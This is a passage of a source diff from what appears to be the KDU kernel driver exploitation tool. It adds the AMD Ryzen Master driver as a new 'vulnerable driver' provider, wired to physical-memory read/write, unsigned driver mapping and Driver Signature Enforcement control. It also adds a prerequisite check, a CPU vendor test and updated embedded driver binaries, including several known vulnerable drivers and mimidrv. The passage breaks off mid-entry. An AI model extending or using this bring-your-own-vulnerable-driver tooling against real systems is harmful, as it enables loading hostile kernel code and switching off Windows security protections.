"idrv/asrdrv.h" #include "idrv/alcpu.h" +#include "idrv/ryzen.h" // // Victims public array. @@ -79,7 +80,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NalVirtualToPhysical, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -101,7 +104,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -123,7 +128,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)MapMemVirtualToPhysical, (provQueryPML4)MapMemQueryPML4Value, (provReadPhysicalMemory)MapMemReadPhysicalMemory, - (provWritePhysicalMemory)MapMemWritePhysicalMemory + (provWritePhysicalMemory)MapMemWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -145,7 +152,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)AtszioVirtualToPhysical, (provQueryPML4)AtszioQueryPML4Value, (provReadPhysicalMemory)AtszioReadPhysicalMemory, - (provWritePhysicalMemory)AtszioWritePhysicalMemory + (provWritePhysicalMemory)AtszioWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -167,7 +176,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -189,7 +200,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -211,7 +224,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -234,6 +249,8 @@ static KDU_PROVIDER g_KDUProviders[] = (provQueryPML4)WRZeroQueryPML4Value, (provReadPhysicalMemory)WRZeroReadPhysicalMemory, (provWritePhysicalMemory)WRZeroWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -255,7 +272,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -277,7 +296,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -299,7 +320,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)PhyMemVirtualToPhysical, (provQueryPML4)PhyMemQueryPML4Value, (provReadPhysicalMemory)PhyMemReadPhysicalMemory, - (provWritePhysicalMemory)PhyMemWritePhysicalMemory + (provWritePhysicalMemory)PhyMemWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -321,7 +344,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -344,6 +369,8 @@ static KDU_PROVIDER g_KDUProviders[] = (provQueryPML4)LHAQueryPML4Value, (provReadPhysicalMemory)LHAReadPhysicalMemory, (provWritePhysicalMemory)LHAWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -365,7 +392,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -387,7 +416,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)DI64VirtualToPhysical, (provQueryPML4)DI64QueryPML4Value, (provReadPhysicalMemory)DI64ReadPhysicalMemory, - (provWritePhysicalMemory)DI64WritePhysicalMemory + (provWritePhysicalMemory)DI64WritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -409,7 +440,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -431,7 +464,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -453,7 +488,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -475,7 +512,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)KphVirtualToPhysical, (provQueryPML4)KphQueryPML4Value, (provReadPhysicalMemory)KphReadPhysicalMemory, - (provWritePhysicalMemory)KphWritePhysicalMemory + (provWritePhysicalMemory)KphWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -497,7 +536,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)PexVirtualToPhysical, (provQueryPML4)PexQueryPML4Value, (provReadPhysicalMemory)PexReadPhysicalMemory, - (provWritePhysicalMemory)PexWritePhysicalMemory + (provWritePhysicalMemory)PexWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -519,7 +560,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -541,7 +584,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -563,7 +608,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -585,7 +632,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)HwVirtualToPhysical, (provQueryPML4)HwQueryPML4Value, (provReadPhysicalMemory)HwReadPhysicalMemory, - (provWritePhysicalMemory)HwWritePhysicalMemory + (provWritePhysicalMemory)HwWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -607,7 +656,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)MapMemVirtualToPhysical, (provQueryPML4)MapMemQueryPML4Value, (provReadPhysicalMemory)MapMemReadPhysicalMemory, - (provWritePhysicalMemory)MapMemWritePhysicalMemory + (provWritePhysicalMemory)MapMemWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -629,7 +680,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)NULL, - (provWritePhysicalMemory)NULL + (provWritePhysicalMemory)NULL, + + (provValidatePrerequisites)NULL }, { @@ -651,7 +704,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)WinIoVirtualToPhysical, (provQueryPML4)WinIoQueryPML4Value, (provReadPhysicalMemory)WinIoReadPhysicalMemory, - (provWritePhysicalMemory)WinIoWritePhysicalMemory + (provWritePhysicalMemory)WinIoWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -673,7 +728,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)DI64VirtualToPhysical, (provQueryPML4)DI64QueryPML4Value, (provReadPhysicalMemory)DI64ReadPhysicalMemory, - (provWritePhysicalMemory)DI64WritePhysicalMemory + (provWritePhysicalMemory)DI64WritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -695,7 +752,9 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)AsrReadPhysicalMemory, - (provWritePhysicalMemory)AsrWritePhysicalMemory + (provWritePhysicalMemory)AsrWritePhysicalMemory, + + (provValidatePrerequisites)NULL }, { @@ -717,7 +776,33 @@ static KDU_PROVIDER g_KDUProviders[] = (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)AlcReadPhysicalMemory, - (provWritePhysicalMemory)AlcWritePhysicalMemory + (provWritePhysicalMemory)AlcWritePhysicalMemory, + + (provValidatePrerequisites)NULL + }, + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)NULL, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver2, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)RmReadPhysicalMemory, + (provWritePhysicalMemory)RmWritePhysicalMemory, + + (provValidatePrerequisites)RmValidatePrerequisites } }; diff --git a/Source/Hamakaze/kduprov.cpp b/Source/Hamakaze/kduprov.cpp index 667531c..2a34784 100644 --- a/Source/Hamakaze/kduprov.cpp +++ b/Source/Hamakaze/kduprov.cpp @@ -986,6 +986,18 @@ PKDU_CONTEXT WINAPI KDUProviderCreate( Context->Provider = prov; + if (Context->Provider->Callbacks.ValidatePrerequisites) + if (!Context->Provider->Callbacks.ValidatePrerequisites(Context)) + { + supHeapFree(Context); + Context = NULL; + + supPrintfEvent(kduEventError, + "[!] Abort: provider prerequisites are not meet\r\n"); + + break; + } + if (provLoadData->NoVictim) { Context->Victim = NULL; } diff --git a/Source/Hamakaze/kduprov.h b/Source/Hamakaze/kduprov.h index 6aa62d8..6bf6fc9 100644 --- a/Source/Hamakaze/kduprov.h +++ b/Source/Hamakaze/kduprov.h @@ -4,9 +4,9 @@ * * TITLE: KDUPROV.H * -* VERSION: 1.27 +* VERSION: 1.28 * -* DATE: 10 Nov 2022 +* DATE: 02 Dec 2022 * * Provider support routines. * @@ -137,6 +137,13 @@ typedef BOOL(WINAPI* provMapDriver)( _In_ PVOID ImageBase ); +// +// Prototype for driver prerequisites validator. +// +typedef BOOL(WINAPI* provValidatePrerequisites)( + _In_ struct _KDU_CONTEXT* Context + ); + typedef enum _KDU_ACTION_TYPE { ActionTypeMapDriver = 0, ActionTypeDKOM = 1, @@ -171,6 +178,9 @@ typedef struct _KDU_PROVIDER { provQueryPML4 QueryPML4Value; //optional provReadPhysicalMemory ReadPhysicalMemory; //optional provWritePhysicalMemory WritePhysicalMemory; //optional + + provValidatePrerequisites ValidatePrerequisites; //optional + } Callbacks; } KDU_PROVIDER, * PKDU_PROVIDER; @@ -213,8 +223,8 @@ typedef struct _KDU_PHYSMEM_ENUM_PARAMS { _In_opt_ PVOID pvPayload; _In_opt_ ULONG cbPayload; - _Out_ SIZE_T cbPagesFound; - _Out_ SIZE_T cbPagesModified; + _Out_ SIZE_T ccPagesFound; + _Out_ SIZE_T ccPagesModified; _In_ PKDU_CONTEXT Context; } KDU_PHYSMEM_ENUM_PARAMS, * PKDU_PHYSMEM_ENUM_PARAMS; diff --git a/Source/Hamakaze/main.cpp b/Source/Hamakaze/main.cpp index ed3d74e..e551d1c 100644 --- a/Source/Hamakaze/main.cpp +++ b/Source/Hamakaze/main.cpp @@ -530,6 +530,12 @@ int KDUMain() do { + CHAR vendorString[0x20]; + + RtlFillMemory(vendorString, sizeof(vendorString), 0); + GET_CPU_VENDOR_STRING(vendorString); + printf_s("[*] CPU vendor string: %s\r\n", vendorString); + RtlSecureZeroMemory(&osv, sizeof(osv)); osv.dwOSVersionInfoSize = sizeof(osv); RtlGetVersion((PRTL_OSVERSIONINFOW)&osv); diff --git a/Source/Hamakaze/res/SB_SMBUS_SDK.bin b/Source/Hamakaze/res/SB_SMBUS_SDK.bin index 044c2ed..2ff5b50 100644 Binary files a/Source/Hamakaze/res/SB_SMBUS_SDK.bin and b/Source/Hamakaze/res/SB_SMBUS_SDK.bin differ diff --git a/Source/Hamakaze/res/Taigei32.bin b/Source/Hamakaze/res/Taigei32.bin index 0172ed0..ea679b8 100644 Binary files a/Source/Hamakaze/res/Taigei32.bin and b/Source/Hamakaze/res/Taigei32.bin differ diff --git a/Source/Hamakaze/sup.cpp b/Source/Hamakaze/sup.cpp index a859530..350e1a0 100644 --- a/Source/Hamakaze/sup.cpp +++ b/Source/Hamakaze/sup.cpp @@ -2746,3 +2746,24 @@ BOOL supDetectMsftBlockList( return (result == ERROR_SUCCESS); } + +/* +* supIsSupportedCpuVendor +* +* Purpose: +* +* Check if the current CPU vendor is match to supplied. +* +*/ +BOOL supIsSupportedCpuVendor( + _In_ LPCSTR Vendor, + _In_ ULONG Length +) +{ + CHAR vendorString[0x20]; + + RtlFillMemory(vendorString, sizeof(vendorString), 0); + GET_CPU_VENDOR_STRING(vendorString); + + return (_strncmp_a(vendorString, Vendor, Length) == 0); +} diff --git a/Source/Hamakaze/sup.h b/Source/Hamakaze/sup.h index c500215..635a2ce 100644 --- a/Source/Hamakaze/sup.h +++ b/Source/Hamakaze/sup.h @@ -73,6 +73,18 @@ typedef BOOL(WINAPI* pfnPhysMemEnumCallback)( _In_ ULONG_PTR Address, _In_ PVOID UserContext); +#define GET_CPU_VENDOR_STRING(VendorString) \ + INT cpuInfo[4]; \ + RtlFillMemory(cpuInfo, sizeof(cpuInfo), 0); \ + __cpuid((INT*)cpuInfo, 0); \ + *(DWORD*)(VendorString) = cpuInfo[1]; \ + *(DWORD*)(VendorString + 4) = cpuInfo[3]; \ + *(DWORD*)(VendorString + 8) = cpuInfo[2]; \ + +BOOL supIsSupportedCpuVendor( + _In_ LPCSTR Vendor, + _In_ ULONG Length); + PVOID FORCEINLINE supHeapAlloc( _In_ SIZE_T Size); diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 93d69b4..fa64147 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -106,7 +106,7 @@ BOOL WINAPI TestPhysMemEnumCallback( signatureSize)) { printf_s("\t Found code at address 0x%llX\r\n", Address); - Params->cbPagesFound += 1; + Params->ccPagesFound += 1; } } @@ -121,12 +121,12 @@ VOID TestBrute(PKDU_CONTEXT Context) params.cbPayload = 0; params.pvPayload = NULL; params.Context = Context; - params.cbPagesFound = 0; - params.cbPagesModified = 0; + params.ccPagesFound = 0; + params.ccPagesModified = 0; if (supEnumeratePhysicalMemory(TestPhysMemEnumCallback, ¶ms)) { - printf_s("[+] Number of pages found: %llu\r\n", params.cbPagesFound); + printf_s("[+] Number of pages found: %llu\r\n", params.ccPagesFound); } @@ -141,7 +141,7 @@ VOID KDUTest() RtlSecureZeroMemory(&Buffer, sizeof(Buffer)); - Context = KDUProviderCreate(KDU_PROVIDER_ALCPU, + Context = KDUProviderCreate(KDU_PROVIDER_AMD_RYZENMASTER, FALSE, NT_WIN7_SP1, KDU_SHELLCODE_V1, @@ -149,6 +149,11 @@ VOID KDUTest() if (Context) { + /*Context->Provider->Callbacks.ReadPhysicalMemory(Context->DeviceHandle, + 0x0000000072a3a000, + Buffer, + sizeof(Buffer));*/ + TestBrute(Context); KDUTestDSE(Context); diff --git a/Source/Shared/consts.h b/Source/Shared/consts.h index 5e123bc..54934e1 100644 --- a/Source/Shared/consts.h +++ b/Source/Shared/consts.h @@ -48,6 +48,11 @@ #define PHYMEM_BASE_DESC "PhyMem by akui" #define RWEVERYTHING_BASE_DESC "RWEverything by ckimchan.tw" +#define CPU_VENDOR_INTEL "GenuineIntel" +#define CPU_VENDOR_INTEL_LENGTH sizeof(CPU_VENDOR_INTEL) - sizeof(CHAR) +#define CPU_VENDOR_AMD "AuthenticAMD" +#define CPU_VENDOR_AMD_LENGTH sizeof(CPU_VENDOR_AMD) - sizeof(CHAR) + #define SHELL_POOL_TAG ' oI' #define PROVIDER_RES_KEY ' owo' // Giving you enough uwu's. @@ -101,6 +106,13 @@ #define IDR_PASSMARK_OSF 130 #define IDR_ASROCKDRV 131 #define IDR_ALSYSIO64 132 +#define IDR_AMD_RYZENMASTER 133 +#define IDR_RESERVED0 134 +#define IDR_RESERVED1 135 +#define IDR_RESERVED2 136 +#define IDR_RESERVED3 137 +#define IDR_RESERVED4 138 +#define IDR_RESERVED6 140 // // Vulnerable drivers providers id @@ -135,6 +147,7 @@ #define KDU_PROVIDER_PASSMARK_OSF 27 #define KDU_PROVIDER_ASROCK 28 #define KDU_PROVIDER_ALCPU 29 +#define KDU_PROVIDER_AMD_RYZENMASTER 30 // // KDU provider flags diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 0ec2993..be3b446 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -184,6 +184,7 @@ + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index ef7248d..44683d1 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -142,6 +142,9 @@ Resource Files + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 59d6437..674577a 100644 Binary files a/Source/Tanikaze/data/AsusCertService.bin and b/Source/Tanikaze/data/AsusCertService.bin differ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 4dcce50..5166395 100644 Binary files a/Source/Tanikaze/data/KMUEXE.bin and b/Source/Tanikaze/data/KMUEXE.bin differ diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index 762608b..8e2fb2e 100644 Binary files a/Source/Tanikaze/data/KMUSIG.bin and b/Source/Tanikaze/data/KMUSIG.bin differ diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index b4d4ea0..bc5214f 100644 Binary files a/Source/Tanikaze/data/dbutilcat.bin and b/Source/Tanikaze/data/dbutilcat.bin differ diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index 721d05c..e407a9a 100644 Binary files a/Source/Tanikaze/data/dbutilinf.bin and b/Source/Tanikaze/data/dbutilinf.bin differ diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index 2064b6b..18fa28d 100644 Binary files a/Source/Tanikaze/drv/ALSysIO64.bin and b/Source/Tanikaze/drv/ALSysIO64.bin differ diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin new file mode 100644 index 0000000..9587915 Binary files /dev/null and b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin differ diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index c834c48..bf09a2f 100644 Binary files a/Source/Tanikaze/drv/ATSZIO64.bin and b/Source/Tanikaze/drv/ATSZIO64.bin differ diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index f1c6aa1..795d683 100644 Binary files a/Source/Tanikaze/drv/AsIO3.bin and b/Source/Tanikaze/drv/AsIO3.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index 35842a2..658473a 100644 Binary files a/Source/Tanikaze/drv/AsrDrv106.bin and b/Source/Tanikaze/drv/AsrDrv106.bin differ diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index e3a4bfc..0770209 100644 Binary files a/Source/Tanikaze/drv/DbUtil2_3.bin and b/Source/Tanikaze/drv/DbUtil2_3.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index 2f6d65a..f35103c 100644 Binary files a/Source/Tanikaze/drv/DirectIo64.bin and b/Source/Tanikaze/drv/DirectIo64.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index d39870f..a2344e4 100644 Binary files a/Source/Tanikaze/drv/DirectIo64_2.bin and b/Source/Tanikaze/drv/DirectIo64_2.bin differ diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index 9a0a53a..2babeaa 100644 Binary files a/Source/Tanikaze/drv/EneIo64.bin and b/Source/Tanikaze/drv/EneIo64.bin differ diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index eff1380..f1fa3ed 100644 Binary files a/Source/Tanikaze/drv/EneTechIo64.bin and b/Source/Tanikaze/drv/EneTechIo64.bin differ diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin index 1f2f900..c827ed3 100644 Binary files a/Source/Tanikaze/drv/GLCKIO2.bin and b/Source/Tanikaze/drv/GLCKIO2.bin differ diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index 1fc2848..ae1ec94 100644 Binary files a/Source/Tanikaze/drv/HW64.bin and b/Source/Tanikaze/drv/HW64.bin differ diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index 8a9d6de..f6358a8 100644 Binary files a/Source/Tanikaze/drv/MsIo64.bin and b/Source/Tanikaze/drv/MsIo64.bin differ diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 55bdc0f..bd797dc 100644 Binary files a/Source/Tanikaze/drv/Phymemx64.bin and b/Source/Tanikaze/drv/Phymemx64.bin differ diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index 132dbf9..7c5c57e 100644 Binary files a/Source/Tanikaze/drv/RTCore64.bin and b/Source/Tanikaze/drv/RTCore64.bin differ diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin index 00ceb4e..4581fa0 100644 Binary files a/Source/Tanikaze/drv/SysDrv3S.bin and b/Source/Tanikaze/drv/SysDrv3S.bin differ diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index 5d85045..8d76c96 100644 Binary files a/Source/Tanikaze/drv/WinRing0x64.bin and b/Source/Tanikaze/drv/WinRing0x64.bin differ diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index 4f86486..03ede7b 100644 Binary files a/Source/Tanikaze/drv/amsdk.bin and b/Source/Tanikaze/drv/amsdk.bin differ diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index 681cbe8..fae8492 100644 Binary files a/Source/Tanikaze/drv/asio2.bin and b/Source/Tanikaze/drv/asio2.bin differ diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index 72fdb7a..8bbd46f 100644 Binary files a/Source/Tanikaze/drv/dbk64.bin and b/Source/Tanikaze/drv/dbk64.bin differ diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index 16ff119..29af1ab 100644 Binary files a/Source/Tanikaze/drv/dbutildrv2.bin and b/Source/Tanikaze/drv/dbutildrv2.bin differ diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index deae75d..308ab19 100644 Binary files a/Source/Tanikaze/drv/ene2.bin and b/Source/Tanikaze/drv/ene2.bin differ diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index 5f82e5e..a26d56c 100644 Binary files a/Source/Tanikaze/drv/gdrv.bin and b/Source/Tanikaze/drv/gdrv.bin differ diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index d5246bc..bf3934e 100644 Binary files a/Source/Tanikaze/drv/gmerdrv.bin and b/Source/Tanikaze/drv/gmerdrv.bin differ diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index 2a26005..599febf 100644 Binary files a/Source/Tanikaze/drv/iQVM64.bin and b/Source/Tanikaze/drv/iQVM64.bin differ diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index 97462b2..addb0a3 100644 Binary files a/Source/Tanikaze/drv/inpoutx64.bin and b/Source/Tanikaze/drv/inpoutx64.bin differ diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index 7ecab52..40a33b1 100644 Binary files a/Source/Tanikaze/drv/kprocesshacker.bin and b/Source/Tanikaze/drv/kprocesshacker.bin differ diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index b7179e7..db479db 100644 Binary files a/Source/Tanikaze/drv/lha.bin and b/Source/Tanikaze/drv/lha.bin differ diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index 599634f..785cfbe 100644 Binary files a/Source/Tanikaze/drv/mimidrv.bin and b/Source/Tanikaze/drv/mimidrv.bin differ diff --git a/Source/Tanikaze/drv/procexp.bin b/Source/Tanikaze/drv/procexp.bin index 05c1469..db55e27 100644 Binary files a/Source/Tanikaze/drv/procexp.bin and b/Source/Tanikaze/drv/procexp.bin differ diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin index 327eebd..a8369a8 100644 Binary files a/Source/Tanikaze/drv/rtkio64.bin and b/Source/Tanikaze/drv/rtkio64.bin differ diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index 00351a2..b5326d0 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -32,6 +32,7 @@ #define IDR_PASSMARK_OSF 130 #define IDR_ASROCKDRV 131 #define IDR_ALSYSIO64 132 +#define IDR_AMD_RYZENMASTER 133 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -42,7 +43,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 133 +#define _APS_NEXT_RESOURCE_VALUE 134 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 0ceea91..1ec58d6 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -120,6 +120,8 @@ IDR_ASROCKDRV RCDATA "drv\\AsrDrv106.bin" IDR_ALSYSIO64 RCDATA "drv\\ALSysIO64.bin" +IDR_AMD_RYZENMASTER RCDATA "drv\\AMDRyzenMasterDriver.bin" + ///////////////////////////////////////////////////////////////////////////// // diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 83f16a2..7f5f9fc 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 01 Dec 2022 +* DATE: 02 Dec 2022 * * Tanikaze helper dll (part of KDU project). * @@ -443,6 +443,20 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"ALSysIO64", (LPWSTR)L"ALSysIO", (LPWSTR)L"ALCPU (Arthur Liberman)", + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + 